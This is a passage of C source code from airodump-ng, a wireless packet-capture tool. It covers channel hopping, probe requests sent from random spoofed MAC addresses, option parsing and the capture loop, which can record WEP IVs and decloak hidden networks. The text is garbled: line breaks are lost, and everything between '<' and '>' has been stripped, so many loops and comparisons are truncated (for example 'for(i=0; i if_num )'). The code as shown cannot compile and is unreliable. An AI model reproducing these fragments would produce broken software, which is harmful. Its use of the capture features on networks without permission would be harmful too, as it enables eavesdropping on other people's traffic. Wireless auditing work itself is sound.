fflush( stdout ); } } int send_probe_request(struct wif *wi) { int len; unsigned char p[4096], r_smac[6]; memcpy(p, PROBE_REQ, 24); len = 24; p[24] = 0x00; //ESSID Tag Number p[25] = 0x00; //ESSID Tag Length len += 2; memcpy(p+len, RATES, 16); len += 16; r_smac[0] = 0x00; r_smac[1] = rand() & 0xFF; r_smac[2] = rand() & 0xFF; r_smac[3] = rand() & 0xFF; r_smac[4] = rand() & 0xFF; r_smac[5] = rand() & 0xFF; memcpy(p+10, r_smac, 6); if (wi_write(wi, p, len, NULL) == -1) { switch (errno) { case EAGAIN: case ENOBUFS: usleep(10000); return 0; /* XXX not sure I like this... -sorbo */ } perror("wi_write()"); return -1; } return 0; } int send_probe_requests(struct wif *wi[], int cards) { int i=0; for(i=0; i if_num ) { while( again ) { again = 0; for( k = 0; k < ( if_num - 1 ); k++ ) { if( G.channels[ch_idx] == G.channel[k] ) { again = 1; ch_idx = chi % chan_count; chi++; } } } } } if( G.channels[ch_idx] == -1 ) { j--; cai--; dropped++; if(dropped >= chan_count) { ch = wi_get_channel(wi[card]); G.channel[card] = ch; unused = write( G.cd_pipe[1], &card, sizeof(int) ); unused = write( G.ch_pipe[1], &ch, sizeof( int ) ); kill( getppid(), SIGUSR1 ); usleep(1000); } continue; } dropped = 0; ch = G.channels[ch_idx]; if(wi_set_channel(wi[card], ch ) == 0 ) { G.channel[card] = ch; unused = write( G.cd_pipe[1], &card, sizeof(int) ); unused = write( G.ch_pipe[1], &ch, sizeof( int ) ); if(G.active_scan_sim > 0) send_probe_request(wi[card]); kill( getppid(), SIGUSR1 ); usleep(1000); } else { G.channels[ch_idx] = -1; /* remove invalid channel */ j--; cai--; continue; } } if(G.chswitch == 0) { chi=chi-(if_num - 1); } if(first) { first = 0; } usleep( (G.hopfreq*1000) ); } exit( 0 ); } void frequency_hopper(struct wif *wi[], int if_num, int chan_count ) { ssize_t unused; int ch, ch_idx = 0, card=0, chi=0, cai=0, j=0, k=0, first=1, again=1; int dropped=0; while( getppid() != 1 ) { for( j = 0; j < if_num; j++ ) { again = 1; ch_idx = chi % chan_count; card = cai % if_num; ++chi; ++cai; if( G.chswitch == 2 && !first ) { j = if_num - 1; card = if_num - 1; if( getfreqcount(1) > if_num ) { while( again ) { again = 0; for( k = 0; k < ( if_num - 1 ); k++ ) { if( G.own_frequencies[ch_idx] == G.frequency[k] ) { again = 1; ch_idx = chi % chan_count; chi++; } } } } } if( G.own_frequencies[ch_idx] == -1 ) { j--; cai--; dropped++; if(dropped >= chan_count) { ch = wi_get_freq(wi[card]); G.frequency[card] = ch; unused = write( G.cd_pipe[1], &card, sizeof(int) ); unused = write( G.ch_pipe[1], &ch, sizeof( int ) ); kill( getppid(), SIGUSR1 ); usleep(1000); } continue; } dropped = 0; ch = G.own_frequencies[ch_idx]; if(wi_set_freq(wi[card], ch ) == 0 ) { G.frequency[card] = ch; unused = write( G.cd_pipe[1], &card, sizeof(int) ); unused = write( G.ch_pipe[1], &ch, sizeof( int ) ); kill( getppid(), SIGUSR1 ); usleep(1000); } else { G.own_frequencies[ch_idx] = -1; /* remove invalid channel */ j--; cai--; continue; } } if(G.chswitch == 0) { chi=chi-(if_num - 1); } if(first) { first = 0; } usleep( (G.hopfreq*1000) ); } exit( 0 ); } int invalid_channel(int chan) { int i=0; do { if (chan == abg_chans[i] && chan != 0 ) return 0; } while (abg_chans[++i]); return 1; } int invalid_frequency(int freq) { int i=0; do { if (freq == frequencies[i] && freq != 0 ) return 0; } while (frequencies[++i]); return 1; } /* parse a string, for example "1,2,3-7,11" */ int getchannels(const char *optarg) { unsigned int i=0,chan_cur=0,chan_first=0,chan_last=0,chan_max=128,chan_remain=0; char *optchan = NULL, *optc; char *token = NULL; int *tmp_channels; //got a NULL pointer? if(optarg == NULL) return -1; chan_remain=chan_max; //create a writable string optc = optchan = (char*) malloc(strlen(optarg)+1); strncpy(optchan, optarg, strlen(optarg)); optchan[strlen(optarg)]='\0'; tmp_channels = (int*) malloc(sizeof(int)*(chan_max+1)); //split string in tokens, separated by ',' while( (token = strsep(&optchan,",")) != NULL) { //range defined? if(strchr(token, '-') != NULL) { //only 1 '-' ? if(strchr(token, '-') == strrchr(token, '-')) { //are there any illegal characters? for(i=0; i '9') && (token[i] != '-')) { free(tmp_channels); free(optc); return -1; } } if( sscanf(token, "%d-%d", &chan_first, &chan_last) != EOF ) { if(chan_first > chan_last) { free(tmp_channels); free(optc); return -1; } for(i=chan_first; i<=chan_last; i++) { if( (! invalid_channel(i)) && (chan_remain > 0) ) { tmp_channels[chan_max-chan_remain]=i; chan_remain--; } } } else { free(tmp_channels); free(optc); return -1; } } else { free(tmp_channels); free(optc); return -1; } } else { //are there any illegal characters? for(i=0; i '9') ) { free(tmp_channels); free(optc); return -1; } } if( sscanf(token, "%d", &chan_cur) != EOF) { if( (! invalid_channel(chan_cur)) && (chan_remain > 0) ) { tmp_channels[chan_max-chan_remain]=chan_cur; chan_remain--; } } else { free(tmp_channels); free(optc); return -1; } } } G.own_channels = (int*) malloc(sizeof(int)*(chan_max - chan_remain + 1)); for(i=0; i<(chan_max - chan_remain); i++) { G.own_channels[i]=tmp_channels[i]; } G.own_channels[i]=0; free(tmp_channels); free(optc); if(i==1) return G.own_channels[0]; if(i==0) return -1; return 0; } /* parse a string, for example "1,2,3-7,11" */ int getfrequencies(const char *optarg) { unsigned int i=0,freq_cur=0,freq_first=0,freq_last=0,freq_max=10000,freq_remain=0; char *optfreq = NULL, *optc; char *token = NULL; int *tmp_frequencies; //got a NULL pointer? if(optarg == NULL) return -1; freq_remain=freq_max; //create a writable string optc = optfreq = (char*) malloc(strlen(optarg)+1); strncpy(optfreq, optarg, strlen(optarg)); optfreq[strlen(optarg)]='\0'; tmp_frequencies = (int*) malloc(sizeof(int)*(freq_max+1)); //split string in tokens, separated by ',' while( (token = strsep(&optfreq,",")) != NULL) { //range defined? if(strchr(token, '-') != NULL) { //only 1 '-' ? if(strchr(token, '-') == strrchr(token, '-')) { //are there any illegal characters? for(i=0; i '9') && (token[i] != '-')) { free(tmp_frequencies); free(optc); return -1; } } if( sscanf(token, "%d-%d", &freq_first, &freq_last) != EOF ) { if(freq_first > freq_last) { free(tmp_frequencies); free(optc); return -1; } for(i=freq_first; i<=freq_last; i++) { if( (! invalid_frequency(i)) && (freq_remain > 0) ) { tmp_frequencies[freq_max-freq_remain]=i; freq_remain--; } } } else { free(tmp_frequencies); free(optc); return -1; } } else { free(tmp_frequencies); free(optc); return -1; } } else { //are there any illegal characters? for(i=0; i '9') ) { free(tmp_frequencies); free(optc); return -1; } } if( sscanf(token, "%d", &freq_cur) != EOF) { if( (! invalid_frequency(freq_cur)) && (freq_remain > 0) ) { tmp_frequencies[freq_max-freq_remain]=freq_cur; freq_remain--; } /* special case "-C 0" means: scan all available frequencies */ if(freq_cur == 0) { freq_first = 1; freq_last = 9999; for(i=freq_first; i<=freq_last; i++) { if( (! invalid_frequency(i)) && (freq_remain > 0) ) { tmp_frequencies[freq_max-freq_remain]=i; freq_remain--; } } } } else { free(tmp_frequencies); free(optc); return -1; } } } G.own_frequencies = (int*) malloc(sizeof(int)*(freq_max - freq_remain + 1)); for(i=0; i<(freq_max - freq_remain); i++) { G.own_frequencies[i]=tmp_frequencies[i]; } G.own_frequencies[i]=0; free(tmp_frequencies); free(optc); if(i==1) return G.own_frequencies[0]; //exactly 1 frequency given if(i==0) return -1; //error occured return 0; //frequency hopping } int setup_card(char *iface, struct wif **wis) { struct wif *wi; wi = wi_open(iface); if (!wi) return -1; *wis = wi; return 0; } int init_cards(const char* cardstr, char *iface[], struct wif **wi) { char *buffer; char *buf; int if_count=0; int i=0, again=0; buf = buffer = (char*) malloc( sizeof(char) * 1025 ); strncpy( buffer, cardstr, 1025 ); buffer[1024] = '\0'; while( ((iface[if_count]=strsep(&buffer, ",")) != NULL) && (if_count < MAX_CARDS) ) { again=0; for(i=0; i *fdh) *fdh = fd_raw[i]; } } return 0; } int check_channel(struct wif *wi[], int cards) { int i, chan; for(i=0; i 0) { // printf("pos: %d\n", pos); last_freq = cur_freq; cur_freq = G.own_frequencies[pos%count]; if(cur_freq == last_used) round_done=1; // printf("count: %d, left: %d, last_used: %d, cur_freq: %d, width: %d\n", count, left, last_used, cur_freq, width); if(((count-left) > 0) && !round_done && ( ABS( last_used-cur_freq ) < width ) ) { // printf("skip it!\n"); pos++; continue; } if(!array_contains( freqs, count, cur_freq)) { // printf("not in there yet: %d\n", cur_freq); freqs[count - left] = cur_freq; last_used = cur_freq; left--; round_done = 0; } pos++; } memcpy(G.own_frequencies, freqs, count*sizeof(int)); free(freqs); return 0; } int main( int argc, char *argv[] ) { long time_slept, cycle_time, cycle_time2; char * output_format_string; int caplen=0, i, j, fdh, fd_is_set, chan_count, freq_count, unused; int fd_raw[MAX_CARDS], arptype[MAX_CARDS]; int ivs_only, found; int valid_channel; int freq [2]; int num_opts = 0; int option = 0; int option_index = 0; char ifnam[64]; int wi_read_failed=0; int n = 0; int output_format_first_time = 1; #ifdef HAVE_PCRE const char *pcreerror; int pcreerroffset; #endif struct AP_info *ap_cur, *ap_prv, *ap_next; struct ST_info *st_cur, *st_next; struct NA_info *na_cur, *na_next; struct oui *oui_cur, *oui_next; struct pcap_pkthdr pkh; time_t tt1, tt2, tt3, start_time; struct wif *wi[MAX_CARDS]; struct rx_info ri; unsigned char tmpbuf[4096]; unsigned char buffer[4096]; unsigned char *h80211; char *iface[MAX_CARDS]; struct timeval tv0; struct timeval tv1; struct timeval tv2; struct timeval tv3; struct timeval tv4; struct tm *lt; /* struct sockaddr_in provis_addr; */ fd_set rfds; static struct option long_options[] = { {"band", 1, 0, 'b'}, {"beacon", 0, 0, 'e'}, {"beacons", 0, 0, 'e'}, {"cswitch", 1, 0, 's'}, {"netmask", 1, 0, 'm'}, {"bssid", 1, 0, 'd'}, {"essid", 1, 0, 'N'}, {"essid-regex", 1, 0, 'R'}, {"channel", 1, 0, 'c'}, {"gpsd", 0, 0, 'g'}, {"ivs", 0, 0, 'i'}, {"write", 1, 0, 'w'}, {"encrypt", 1, 0, 't'}, {"update", 1, 0, 'u'}, {"berlin", 1, 0, 'B'}, {"help", 0, 0, 'H'}, {"nodecloak",0, 0, 'D'}, {"showack", 0, 0, 'A'}, {"detect-anomaly", 0, 0, 'E'}, {"output-format", 1, 0, 'o'}, {"ignore-negative-one", 0, &G.ignore_negative_one, 1}, {"manufacturer", 0, 0, 'M'}, {"uptime", 0, 0, 'U'}, {0, 0, 0, 0 } }; #ifdef USE_GCRYPT // Register callback functions to ensure proper locking in the sensitive parts of libgcrypt. gcry_control (GCRYCTL_SET_THREAD_CBS, &gcry_threads_pthread); // Disable secure memory. gcry_control (GCRYCTL_DISABLE_SECMEM, 0); // Tell Libgcrypt that initialization has completed. gcry_control (GCRYCTL_INITIALIZATION_FINISHED, 0); #endif pthread_mutex_init( &(G.mx_print), NULL ); pthread_mutex_init( &(G.mx_sort), NULL ); textstyle(TEXT_RESET);//(TEXT_RESET, TEXT_BLACK, TEXT_WHITE); /* initialize a bunch of variables */ srand( time( NULL ) ); memset( &G, 0, sizeof( G ) ); h80211 = NULL; ivs_only = 0; G.chanoption = 0; G.freqoption = 0; G.num_cards = 0; fdh = 0; fd_is_set = 0; chan_count = 0; time_slept = 0; G.batt = NULL; G.chswitch = 0; valid_channel = 0; G.usegpsd = 0; G.channels = bg_chans; G.one_beacon = 1; G.singlechan = 0; G.singlefreq = 0; G.dump_prefix = NULL; G.record_data = 0; G.f_cap = NULL; G.f_ivs = NULL; G.f_txt = NULL; G.f_kis = NULL; G.f_kis_xml = NULL; G.f_gps = NULL; G.keyout = NULL; G.f_xor = NULL; G.sk_len = 0; G.sk_len2 = 0; G.sk_start = 0; G.prefix = NULL; G.f_encrypt = 0; G.asso_client = 0; G.f_essid = NULL; G.f_essid_count = 0; G.active_scan_sim = 0; G.update_s = 0; G.decloak = 1; G.is_berlin = 0; G.numaps = 0; G.maxnumaps = 0; G.berlin = 120; G.show_ap = 1; G.show_sta = 1; G.show_ack = 0; G.hide_known = 0; G.maxsize_essid_seen = 5; // Initial value: length of "ESSID" G.show_manufacturer = 0; G.show_uptime = 0; G.hopfreq = DEFAULT_HOPFREQ; G.s_file = NULL; G.s_iface = NULL; G.f_cap_in = NULL; G.detect_anomaly = 0; G.airodump_start_time = NULL; G.manufList = NULL; G.output_format_pcap = 1; G.output_format_csv = 1; G.output_format_kismet_csv = 1; G.output_format_kismet_netxml = 1; #ifdef HAVE_PCRE G.f_essid_regex = NULL; #endif // Default selection. resetSelection(); memset(G.sharedkey, '\x00', 512*3); memset(G.message, '\x00', sizeof(G.message)); memset(&G.pfh_in, '\x00', sizeof(struct pcap_file_header)); gettimeofday( &tv0, NULL ); lt = localtime( (time_t *) &tv0.tv_sec ); G.keyout = (char*) malloc(512); memset( G.keyout, 0, 512 ); snprintf( G.keyout, 511, "keyout-%02d%02d-%02d%02d%02d.keys", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); for(i=0; i= 3) { if(argv[i][0] == '-' && argv[i][1] != '-') { //we got a single dash followed by at least 2 chars //lets check that against our long options to find errors for(j=0; j1 && strcmp(argv[i-1], "-") == 0) { //separated dashes? printf("Notice: You specified \"%s %s\". Did you mean \"%s%s\" instead?\n", argv[i-1], argv[i], argv[i-1], argv[i]); } else { //forgot second dash? printf("Notice: You specified \"%s\". Did you mean \"-%s\" instead?\n", argv[i], argv[i]); } break; } } if(found) { sleep(3); break; } } } } do { option_index = 0; option = getopt_long( argc, argv, "b:c:egiw:s:t:u:m:d:N:R:aHDB:Ahf:r:EC:o:x:MU", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case 0 : break; case ':': printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?': printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'E': G.detect_anomaly = 1; break; case 'e': G.one_beacon = 0; break; case 'a': G.asso_client = 1; break; case 'A': G.show_ack = 1; break; case 'h': G.hide_known = 1; break; case 'D': G.decloak = 0; break; case 'M': G.show_manufacturer = 1; break; case 'U' : G.show_uptime = 1; break; case 'c' : if (G.channel[0] > 0 || G.chanoption == 1) { if (G.chanoption == 1) printf( "Notice: Channel range already given\n" ); else printf( "Notice: Channel already given (%d)\n", G.channel[0]); break; } G.channel[0] = getchannels(optarg); if ( G.channel[0] < 0 ) goto usage; G.chanoption = 1; if( G.channel[0] == 0 ) { G.channels = G.own_channels; break; } G.channels = bg_chans; break; case 'C' : if (G.channel[0] > 0 || G.chanoption == 1) { if (G.chanoption == 1) printf( "Notice: Channel range already given\n" ); else printf( "Notice: Channel already given (%d)\n", G.channel[0]); break; } if (G.freqoption == 1) { printf( "Notice: Frequency range already given\n" ); break; } G.freqstring = optarg; G.freqoption = 1; break; case 'b' : if (G.chanoption == 1 && option != 'c') { printf( "Notice: Channel range already given\n" ); break; } freq[0] = freq[1] = 0; for (i = 0; i < (int)strlen(optarg); i++) { if ( optarg[i] == 'a' ) freq[1] = 1; else if ( optarg[i] == 'b' || optarg[i] == 'g') freq[0] = 1; else { printf( "Error: invalid band (%c)\n", optarg[i] ); printf("\"%s --help\" for help.\n", argv[0]); exit ( 1 ); } } if (freq[1] + freq[0] == 2 ) G.channels = abg_chans; else { if ( freq[1] == 1 ) G.channels = a_chans; else G.channels = bg_chans; } break; case 'i': // Reset output format if it's the first time the option is specified if (output_format_first_time) { output_format_first_time = 0; G.output_format_pcap = 0; G.output_format_csv = 0; G.output_format_kismet_csv = 0; G.output_format_kismet_netxml = 0; } if (G.output_format_pcap) { printf( usage, getVersion("Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); fprintf(stderr, "Invalid output format: IVS and PCAP format cannot be used together.\n"); return( 1 ); } ivs_only = 1; break; case 'g': G.usegpsd = 1; /* if (inet_aton(optarg, &provis_addr.sin_addr) == 0 ) { printf("Invalid IP address.\n"); return (1); } */ break; case 'w': if (G.dump_prefix != NULL) { printf( "Notice: dump prefix already given\n" ); break; } /* Write prefix */ G.dump_prefix = optarg; G.record_data = 1; break; case 'r' : if( G.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } G.s_file = optarg; break; case 's': if (atoi(optarg) > 2) { goto usage; } if (G.chswitch != 0) { printf("Notice: switching method already given\n"); break; } G.chswitch = atoi(optarg); break; case 'u': G.update_s = atoi(optarg); /* If failed to parse or value <= 0, use default, 100ms */ if (G.update_s <= 0) G.update_s = REFRESH_RATE; break; case 'f': G.hopfreq = atoi(optarg); /* If failed to parse or value <= 0, use default, 100ms */ if (G.hopfreq <= 0) G.hopfreq = DEFAULT_HOPFREQ; break; case 'B': G.is_berlin = 1; G.berlin = atoi(optarg); if (G.berlin <= 0) G.berlin = 120; break; case 'm': if ( memcmp(G.f_netmask, NULL_MAC, 6) != 0 ) { printf("Notice: netmask already given\n"); break; } if(getmac(optarg, 1, G.f_netmask) != 0) { printf("Notice: invalid netmask\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'd': if ( memcmp(G.f_bssid, NULL_MAC, 6) != 0 ) { printf("Notice: bssid already given\n"); break; } if(getmac(optarg, 1, G.f_bssid) != 0) { printf("Notice: invalid bssid\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'N': G.f_essid_count++; G.f_essid = (char**)realloc(G.f_essid, G.f_essid_count * sizeof(char*)); G.f_essid[G.f_essid_count-1] = optarg; break; case 'R': #ifdef HAVE_PCRE if (G.f_essid_regex != NULL) { printf("Error: ESSID regular expression already given. Aborting\n"); exit(1); } G.f_essid_regex = pcre_compile(optarg, 0, &pcreerror, &pcreerroffset, NULL); if (G.f_essid_regex == NULL) { printf("Error: regular expression compilation failed at offset %d: %s; aborting\n", pcreerroffset, pcreerror); exit(1); } #else printf("Error: Airodump-ng wasn't compiled with pcre support; aborting\n"); #endif break; case 't': set_encryption_filter(optarg); break; case 'o': // Reset output format if it's the first time the option is specified if (output_format_first_time) { output_format_first_time = 0; G.output_format_pcap = 0; G.output_format_csv = 0; G.output_format_kismet_csv = 0; G.output_format_kismet_netxml = 0; } // Parse the value output_format_string = strtok(optarg, ","); while (output_format_string != NULL) { if (strlen(output_format_string) != 0) { if (strncasecmp(output_format_string, "csv", 3) == 0 || strncasecmp(output_format_string, "txt", 3) == 0) { G.output_format_csv = 1; } else if (strncasecmp(output_format_string, "pcap", 4) == 0 || strncasecmp(output_format_string, "cap", 3) == 0) { if (ivs_only) { printf( usage, getVersion("Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); fprintf(stderr, "Invalid output format: IVS and PCAP format cannot be used together.\n"); return( 1 ); } G.output_format_pcap = 1; } else if (strncasecmp(output_format_string, "ivs", 3) == 0) { if (G.output_format_pcap) { printf( usage, getVersion("Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); fprintf(stderr, "Invalid output format: IVS and PCAP format cannot be used together.\n"); return( 1 ); } ivs_only = 1; } else if (strncasecmp(output_format_string, "kismet", 6) == 0) { G.output_format_kismet_csv = 1; } else if (strncasecmp(output_format_string, "gps", 3) == 0) { G.usegpsd = 1; } else if (strncasecmp(output_format_string, "netxml", 6) == 0 || strncasecmp(output_format_string, "newcore", 7) == 0 || strncasecmp(output_format_string, "kismet-nc", 9) == 0 || strncasecmp(output_format_string, "kismet_nc", 9) == 0 || strncasecmp(output_format_string, "kismet-newcore", 14) == 0 || strncasecmp(output_format_string, "kismet_newcore", 14) == 0) { G.output_format_kismet_netxml = 1; } else if (strncasecmp(output_format_string, "default", 6) == 0) { G.output_format_pcap = 1; G.output_format_csv = 1; G.output_format_kismet_csv = 1; G.output_format_kismet_netxml = 1; } else if (strncasecmp(output_format_string, "none", 6) == 0) { G.output_format_pcap = 0; G.output_format_csv = 0; G.output_format_kismet_csv = 0; G.output_format_kismet_netxml = 0; G.usegpsd = 0; ivs_only = 0; } else { // Display an error if it does not match any value fprintf(stderr, "Invalid output format: <%s>\n", output_format_string); exit(1); } } output_format_string = strtok(NULL, ","); } break; case 'H': printf( usage, getVersion("Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); return( 1 ); case 'x': G.active_scan_sim = atoi(optarg); if (G.active_scan_sim <= 0) G.active_scan_sim = 0; break; default : goto usage; } } while ( 1 ); if( argc - optind != 1 && G.s_file == NULL) { if(argc == 1) { usage: printf( usage, getVersion("Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); } if( argc - optind == 0) { printf("No interface specified.\n"); } if(argc > 1) { printf("\"%s --help\" for help.\n", argv[0]); } return( 1 ); } if( argc - optind == 1 ) G.s_iface = argv[argc-1]; if( ( memcmp(G.f_netmask, NULL_MAC, 6) != 0 ) && ( memcmp(G.f_bssid, NULL_MAC, 6) == 0 ) ) { printf("Notice: specify bssid \"--bssid\" with \"--netmask\"\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if(G.s_iface != NULL) { /* initialize cards */ G.num_cards = init_cards(G.s_iface, iface, wi); if(G.num_cards <= 0) return( 1 ); for (i = 0; i < G.num_cards; i++) { fd_raw[i] = wi_fd(wi[i]); if (fd_raw[i] > fdh) fdh = fd_raw[i]; } if(G.freqoption == 1 && G.freqstring != NULL) // use frequencies { detect_frequencies(wi[0]); G.frequency[0] = getfrequencies(G.freqstring); if(G.frequency[0] == -1) { printf("No valid frequency given.\n"); return(1); } // printf("gonna rearrange\n"); rearrange_frequencies(); // printf("finished rearranging\n"); freq_count = getfreqcount(0); /* find the interface index */ /* start a child to hop between frequencies */ if( G.frequency[0] == 0 ) { unused = pipe( G.ch_pipe ); unused = pipe( G.cd_pipe ); signal( SIGUSR1, sighandler ); if( ! fork() ) { /* reopen cards. This way parent & child don't share resources for * accessing the card (e.g. file descriptors) which may cause * problems. -sorbo */ for (i = 0; i < G.num_cards; i++) { strncpy(ifnam, wi_get_ifname(wi[i]), sizeof(ifnam)-1); ifnam[sizeof(ifnam)-1] = 0; wi_close(wi[i]); wi[i] = wi_open(ifnam); if (!wi[i]) { printf("Can't reopen %s\n", ifnam); exit(1); } } /* Drop privileges */ if (setuid( getuid() ) == -1) { perror("setuid"); } frequency_hopper(wi, G.num_cards, freq_count); exit( 1 ); } } else { for( i=0; i MIN_RAM_SIZE_LOAD_OUI_RAM) { G.manufList = load_oui_file(); } /* start the GPS tracker */ if (G.usegpsd) { unused = pipe( G.gc_pipe ); signal( SIGUSR2, sighandler ); if( ! fork() ) { gps_tracker(); exit( 1 ); } usleep( 50000 ); waitpid( -1, NULL, WNOHANG ); } fprintf( stderr, "\33[?25l\33[2J\n" ); start_time = time( NULL ); tt1 = time( NULL ); tt2 = time( NULL ); tt3 = time( NULL ); gettimeofday( &tv3, NULL ); gettimeofday( &tv4, NULL ); G.batt = getBatteryString(); G.elapsed_time = (char *) calloc( 1, 4 ); strncpy(G.elapsed_time, "0 s", 4 - 1); /* Create start time string for kismet netxml file */ G.airodump_start_time = (char *) calloc( 1, 1000 * sizeof(char) ); strncpy(G.airodump_start_time, ctime( & start_time ), 1000 - 1); G.airodump_start_time[strlen(G.airodump_start_time) - 1] = 0; // remove new line G.airodump_start_time = (char *) realloc( G.airodump_start_time, sizeof(char) * (strlen(G.airodump_start_time) + 1) ); if( pthread_create( &(G.input_tid), NULL, (void *) input_thread, NULL ) != 0 ) { perror( "pthread_create failed" ); return 1; } while( 1 ) { if( G.do_exit ) { break; } if( time( NULL ) - tt1 >= 5 ) { /* update the csv stats file */ tt1 = time( NULL ); if (G. output_format_csv) dump_write_csv(); if (G.output_format_kismet_csv) dump_write_kismet_csv(); if (G.output_format_kismet_netxml) dump_write_kismet_netxml(); /* sort the APs by power */ if(G.sort_by != SORT_BY_NOTHING) { pthread_mutex_lock( &(G.mx_sort) ); dump_sort(); pthread_mutex_unlock( &(G.mx_sort) ); } } if( time( NULL ) - tt2 > 3 ) { /* update the battery state */ free(G.batt); G.batt = NULL; tt2 = time( NULL ); G.batt = getBatteryString(); /* update elapsed time */ free(G.elapsed_time); G.elapsed_time=NULL; G.elapsed_time = getStringTimeFromSec( difftime(tt2, start_time) ); /* flush the output files */ if( G.f_cap != NULL ) fflush( G.f_cap ); if( G.f_ivs != NULL ) fflush( G.f_ivs ); } gettimeofday( &tv1, NULL ); cycle_time = 1000000 * ( tv1.tv_sec - tv3.tv_sec ) + ( tv1.tv_usec - tv3.tv_usec ); cycle_time2 = 1000000 * ( tv1.tv_sec - tv4.tv_sec ) + ( tv1.tv_usec - tv4.tv_usec ); if( G.active_scan_sim > 0 && cycle_time2 > G.active_scan_sim*1000 ) { gettimeofday( &tv4, NULL ); send_probe_requests(wi, G.num_cards); } if( cycle_time > 500000 ) { gettimeofday( &tv3, NULL ); update_rx_quality( ); if(G.s_iface != NULL) { check_monitor(wi, fd_raw, &fdh, G.num_cards); if(G.singlechan) check_channel(wi, G.num_cards); if(G.singlefreq) check_frequency(wi, G.num_cards); } } if(G.s_file != NULL) { /* Read one packet */ n = sizeof( pkh ); if( fread( &pkh, n, 1, G.f_cap_in ) != 1 ) { memset(G.message, '\x00', sizeof(G.message)); snprintf(G.message, sizeof(G.message), "][ Finished reading input file %s.\n", G.s_file); G.s_file = NULL; continue; } if( G.pfh_in.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } n = caplen = pkh.caplen; memset(buffer, 0, sizeof(buffer)); h80211 = buffer; if( n <= 0 || n > (int) sizeof( buffer ) ) { memset(G.message, '\x00', sizeof(G.message)); snprintf(G.message, sizeof(G.message), "][ Finished reading input file %s.\n", G.s_file); G.s_file = NULL; continue; } if( fread( h80211, n, 1, G.f_cap_in ) != 1 ) { memset(G.message, '\x00', sizeof(G.message)); snprintf(G.message, sizeof(G.message), "][ Finished reading input file %s.\n", G.s_file); G.s_file = NULL; continue; } if( G.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( G.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( G.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } read_pkts++; if(read_pkts%10 == 0) usleep(1); } else if(G.s_iface != NULL) { /* capture one packet */ FD_ZERO( &rfds ); for(i=0; i REFRESH_RATE && time_slept > G.update_s * 1000000) { time_slept = 0; update_dataps(); /* update the window size */ if( ioctl( 0, TIOCGWINSZ, &(G.ws) ) < 0 ) { G.ws.ws_row = 25; G.ws.ws_col = 80; } if( G.ws.ws_col < 1 ) G.ws.ws_col = 1; if( G.ws.ws_col > 300 ) G.ws.ws_col = 300; /* display the list of access points we have */ if(!G.do_pause) { pthread_mutex_lock( &(G.mx_print) ); fprintf( stderr, "\33[1;1H" ); dump_print( G.ws.ws_row, G.ws.ws_col, G.num_cards ); fprintf( stderr, "\33[J" ); fflush( stdout ); pthread_mutex_unlock( &(G.mx_print) ); } continue; } if(G.s_file == NULL && G.s_iface != NULL) { fd_is_set = 0; for(i=0; i 1) { G.do_exit = 1; break; } memset(G.message, '\x00', sizeof(G.message)); snprintf(G.message, sizeof(G.message), "][ interface %s down ", wi_get_ifname(wi[i])); //reopen in monitor mode strncpy(ifnam, wi_get_ifname(wi[i]), sizeof(ifnam)-1); ifnam[sizeof(ifnam)-1] = 0; wi_close(wi[i]); wi[i] = wi_open(ifnam); if (!wi[i]) { printf("Can't reopen %s\n", ifnam); /* Restore terminal */ fprintf( stderr, "\33[?25h" ); fflush( stdout ); exit(1); } fd_raw[i] = wi_fd(wi[i]); if (fd_raw[i] > fdh) fdh = fd_raw[i]; break; // return 1; } read_pkts++; wi_read_failed = 0; dump_add_packet( h80211, caplen, &ri, i ); } } } else if (G.s_file != NULL) { dump_add_packet( h80211, caplen, &ri, i ); } } if(G.batt) free(G.batt); if(G.elapsed_time) free(G.elapsed_time); if(G.own_channels) free(G.own_channels); if(G.f_essid) free(G.f_essid); if(G.prefix) free(G.prefix); if(G.f_cap_name) free(G.f_cap_name); if(G.keyout) free(G.keyout); #ifdef HAVE_PCRE if(G.f_essid_regex) pcre_free(G.f_essid_regex); #endif for(i=0; iuiv_root ); list_tail_free(&(ap_cur->packets)); if (G.manufList) free(ap_cur->manuf); if (G.detect_anomaly) data_wipe(ap_cur->data_root); ap_prv = ap_cur; ap_cur = ap_cur->next; } ap_cur = G.ap_1st; while( ap_cur != NULL ) { // Freeing AP List ap_next = ap_cur->next; if( ap_cur != NULL ) free(ap_cur); ap_cur = ap_next; } st_cur = G.st_1st; st_next= NULL; while(st_cur != NULL) { st_next = st_cur->next; if (G.manufList) free(st_cur->manuf); free(st_cur); st_cur = st_next; } na_cur = G.na_1st; na_next= NULL; while(na_cur != NULL) { na_next = na_cur->next; free(na_cur); na_cur = na_next; } if (G.manufList) 